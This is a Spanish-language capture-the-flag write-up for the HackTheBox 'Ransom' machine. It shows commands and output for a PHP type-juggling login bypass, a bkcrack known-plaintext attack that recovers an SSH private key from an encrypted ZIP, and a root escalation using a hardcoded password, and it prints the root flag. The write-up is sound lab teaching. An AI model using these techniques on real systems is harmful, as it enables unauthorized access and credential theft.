Ransom
7 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.153
- Fecha: 15 / 03 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.153 -p 22,80
Nmap scan report for 10.10.11.153
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Admin - HTML5 Admin Template
|_Requested resource was http://10.10.11.153/login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.77 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.153
, se nos redirige a /login
, que muestra un formulario de inicio de sesión:
La página web está construida con Laravel, que es un framework web de PHP. Nótese que existe una cookie llamada laravel_session
:
$ curl -I 10.10.11.153
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-cache, private
Location: http://10.10.11.153/login
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjNLelg0R3cvaTAzRUJURkdjSkswNnc9PSIsInZhbHVlIjoiWGpqQ3oxME1CbXZ5dmFnOCt1SUtST3NMS1RTUUQxL0xZNncxYk9hbXBucHh3elV3OXBiN08wQkpteTV
WRGR5SFBjNjBSN2pFODFHRDA1Rkt6ZE1NeklWcjJwZHJOTVFmNmFuTCtUTjBodnMrU29adWJZelFsd2VxVmJGRzdobFgiLCJtYWMiOiJhYWExNWI0MzRlNzk3MzRmYTE0YjdmMzQ5OGE4ZDI3ODFiODJlMWNlM
TJmNTk0Y2JlOGM0ODk5NDczMjYxYTFjIiwidGFnIjoiIn0%3D
Set-Cookie: laravel_session=eyJpdiI6InIwUm5hV3lrUS83cHAxMG5iMWxkREE9PSIsInZhbHVlIjoiQkVZR2pjd2FUc3Z6ZklETEU3dmpzRjI3N3EzTitMWnFXbXpYN3cwMnpGejBxeVRjVlJKMk9Udk
VkcjIxTmVyNm9ZbFFKMitIbVB6Tm1WZW02WUVRNEVnbkU0VEU4ei8ySUdJQW5OdVdlbFE2cnI3MStXcU9ySkExRDl1Z29waTMiLCJtYWMiOiJjOWMyOWJkOWJkYzVjMjM1Y2IyZDZlMDJiYTUyODVmNmE1ZjEy
MTcyZjY4NjM5YmUxYzdhMTkzY2Y0ZjY1NmI0IiwidGFnIjoiIn0%3D
Content-Type: text/html; charset=UTF-8
Podemos tratar de inyectar código SQL en el formulario, pero no parece vulnerable.
Explotación de Type Juggling
Como está gestionado con PHP, podemos tratar de exploitar una vulnerabilidad conocida como Type Juggling. Esta es una prueba de concepto:
$ php -a
Interactive shell
php > if ("asdf" == true) { echo "true"; }
true
La vulnerabilidad está en el uso de ==
, que no verifica el tipo de variable, solo el valor. Una solución correcta sería esta, usando ===
:
php > if ("asdf" === true) { echo "true"; } else { echo "false"; }
false
Si la página web es vulnerable a Type Juggling, si introducimos un tipo booleano como contraseña, evitaremos la autenticación. Vamos a usar Burp Suite (Repeater):
No podemos poner simplemente password=true
ya que el servidor lo interpretará como "true"
(un string). Para añadir un valor booleano, podemos usar un documento JSON. Aunque la petición es GET, podemos añadir el parámetro en el cuerpo de la petición:
Como se muestra, obtenemos “Login Successful”, por lo que nos hemos saltado la autenticación. Utilizando Burp Suite (Proxy), podemos interceptar la petición y modificarla antes de que vaya al servidor, de manera que la respuesta sea correcta.
Luego, tenemos este portal:
En este punto, ya tenemos user.txt
:
Ataque de texto claro conocido a un archivo ZIP cifrado
Existe también un archivo ZIP llamado uploaded-file-3422.zip
y está protegido con contraseña:
$ file uploaded-file-3422.zip
uploaded-file-3422.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
Podemos tratar de realizar un ataque de fuerza bruta con fcrackzip
, pero la contraseña parece fuerte y no se encuentra en rockyou.txt
.
Podemos ver los archivos contenidos y el método de compresión:
$ unzip -v uploaded-file-3422.zip
Archive: uploaded-file-3422.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
220 Defl:N 158 28% 2020-02-25 06:03 6ce3189b .bash_logout
3771 Defl:N 1740 54% 2020-02-25 06:03 ab254644 .bashrc
807 Defl:N 392 51% 2020-02-25 06:03 d1b22a87 .profile
0 Stored 0 0% 2021-07-02 13:58 00000000 .cache/
0 Stored 0 0% 2021-07-02 13:58 00000000 .cache/motd.legal-displayed
0 Stored 0 0% 2021-07-02 13:58 00000000 .sudo_as_admin_successful
0 Stored 0 0% 2022-03-07 06:32 00000000 .ssh/
2610 Defl:N 1978 24% 2022-03-07 06:32 38804579 .ssh/id_rsa
564 Defl:N 463 18% 2022-03-07 06:32 cb143c32 .ssh/authorized_keys
564 Defl:N 463 18% 2022-03-07 06:32 cb143c32 .ssh/id_rsa.pub
2009 Defl:N 569 72% 2022-03-07 06:32 396b04b4 .viminfo
-------- ------- --- -------
10545 5763 45% 11 files
$ 7z -slt l uploaded-file-3422.zip | grep -A 14 .bash_logout
Path = .bash_logout
Folder = -
Size = 220
Packed Size = 170
Modified = 2020-02-25 07:03:22
Created =
Accessed =
Attributes = _ -rw-r--r--
Encrypted = +
Comment =
CRC = 6CE3189B
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0
Parece que es un directorio personal de algún usuario. Además, el métoro de compresión es ZipCrypto Deflate.
Después de leer How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File, vemos que existe un ataque de texto claro conocido a archivos ZIP cifrados.
El archivo .bash_logout
puede ser el que viene por defecto. Este es el .bash_logout
que tengo en mi máquina (el que viene por defecto):
$ cp ~/.bash_logout .
$ cat .bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.
# when leaving the console clear the screen to increase privacy
if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
Podemos verificar que ambos archivos .bash_logout
son iguales utilizando el algoritmo CRC32 (utilizado por los archivos ZIP para detectar errores):
>>> import zlib
>>> bash_logout = open('.bash_logout', 'rb').read()
>>> hex(zlib.crc32(bash_logout))
'0x6ce3189b'
En los comandos unzip
/ 7z
anteriores podemos ver el valor CRC32 de .bash_logout
, y los dos coinciden, por lo que tenemos un texto claro conocido.
Ahora es el momento de usar bkcrack
(ataque de texto claro conocido) para guardar los archivos de uploaded-file-3422.zip
en unlocked.zip
. Necesitamos proporcionar un archivo plain.zip
que contenga nuestro .bash_logout
:
$ zip plain.zip .bash_logout
adding: .bash_logout (deflated 28%)
$ ./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P plain.zip -p .bash_logout
bkcrack 1.3.5 - 2022-03-28
[03:34:35] Z reduction using 150 bytes of known plaintext
100.0 % (150 / 150)
[03:34:35] Attack on 57097 Z values at index 7
Keys: 7b549874 ebc25ec5 7e465e18
78.5 % (44845 / 57097)
[03:38:54] Keys
7b549874 ebc25ec5 7e465e18
$ ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip password
bkcrack 1.3.5 - 2022-03-28
[03:42:33] Writing unlocked archive unlocked.zip with password "password"
100.0 % (9 / 9)
Wrote unlocked archive.
En este punto, podemos extraer los archivos de unlocked.zip
:
$ unzip -P password unlocked.zip
Archive: unlocked.zip
inflating: .bash_logout
inflating: .bashrc
inflating: .profile
creating: .cache/
extracting: .cache/motd.legal-displayed
extracting: .sudo_as_admin_successful
creating: .ssh/
inflating: .ssh/id_rsa
inflating: .ssh/authorized_keys
inflating: .ssh/id_rsa.pub
inflating: .viminfo
Escalada de privilegios
Ahora tenemos una clave privada de SSH. Podemos conectarnos como usuario htb
(ya que es una máquina de UHC) sin usar contraseña:
$ chmod 600 id_rsa
$ ssh -i id_rsa htb@10.10.11.153
htb@ransom:~$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
Aunque pertenecemos al grupo lxd
, vamos a escalar de la forma intencionada.
Vamos a buscar la aplicación de Laravel para ver cómo se gestiona la autenticación:
htb@ransom:~$ find / -name \*laravel\* 2>/dev/null
/srv/prod/storage/logs/laravel.log
/srv/prod/vendor/laravel
/srv/prod/vendor/fruitcake/laravel-cors
Genial, parece que los archivos fuente de Laravel están en /srv/prod
. Vamos a buscar por "password"
de manera recursiva:
htb@ransom:~$ cd /srv/prod
htb@ransom:/srv/prod$ grep -nri password . | grep -vE 'js|config|vendor|bootstrap' | grep php | grep password
./resources/views/auth/login.blade.php:15: password: $("#password").val()
./resources/views/auth/login.blade.php:44: <p>Please enter the password provided to you in order to send files to the E Corp Engineers.</p>
./resources/views/auth/login.blade.php:50: <input type="password" name="password" id="password" class="form-control form-control-lg" />
./resources/lang/en/validation.php:35: 'current_password' => 'The password is incorrect.',
./resources/lang/en/validation.php:103: 'password' => 'The password is incorrect.',
./resources/lang/en/passwords.php:7: | Password Reset Language Lines
./resources/lang/en/passwords.php:11: | that are given by the password broker for a password update attempt
./resources/lang/en/passwords.php:12: | has failed, such as for an invalid token or invalid new password.
./resources/lang/en/passwords.php:16: 'reset' => 'Your password has been reset!',
./resources/lang/en/passwords.php:17: 'sent' => 'We have emailed your password reset link!',
./resources/lang/en/passwords.php:19: 'token' => 'This password reset token is invalid.',
./resources/lang/en/auth.php:17: 'password' => 'The provided password is incorrect.',
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:13: password: $("#password").val()
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:42: <p>Please enter the password provided to you in order to send files to the E Corp Engineers.</p>
./storage/framework/views/716af88e12f9db05fa041bff2e06875d7f0b09db.php:48: <input type="password" name="password" id="password" class="form-control form-control-lg" />
./app/Exceptions/Handler.php:25: 'current_password',
./app/Exceptions/Handler.php:26: 'password',
./app/Exceptions/Handler.php:27: 'password_confirmation',
./app/Models/User.php:23: 'password',
./app/Models/User.php:32: 'password',
./app/Models/User.php:46: * Always encrypt the password when it is updated.
./app/Models/User.php:53: $this->attributes['password'] = bcrypt($value);
./app/Http/Kernel.php:66: 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class,
./app/Http/Middleware/TrimStrings.php:15: 'current_password',
./app/Http/Middleware/TrimStrings.php:16: 'password',
./app/Http/Middleware/TrimStrings.php:17: 'password_confirmation',
./app/Http/Controllers/AuthController.php:34: 'password' => 'required',
./app/Http/Controllers/AuthController.php:37: if ($request->get('password') == "UHC-March-Global-PW!") {
./database/migrations/2014_10_12_100000_create_password_resets_table.php:7:class CreatePasswordResetsTable extends Migration
./database/migrations/2014_10_12_100000_create_password_resets_table.php:16: Schema::create('password_resets', function (Blueprint $table) {
./database/migrations/2014_10_12_100000_create_password_resets_table.php:30: Schema::dropIfExists('password_resets');
./database/migrations/2014_10_12_000000_create_users_table.php:21: $table->string('password');
./database/factories/UserFactory.php:21: 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', // password
Vemos que en app/Http/Controllers/AuthController.php
se mira si la contraseña es igual a UHC-March-Global-PW!
(usando ==
porque es vulnerable a Type Juggling). Esta password está configurada para el usuario root
:
htb@ransom:/srv/prod$ su root
Password:
root@ransom:/srv/prod# cat /root/root.txt
a4d5e9000007b5eabfb8358b2dd9ac1a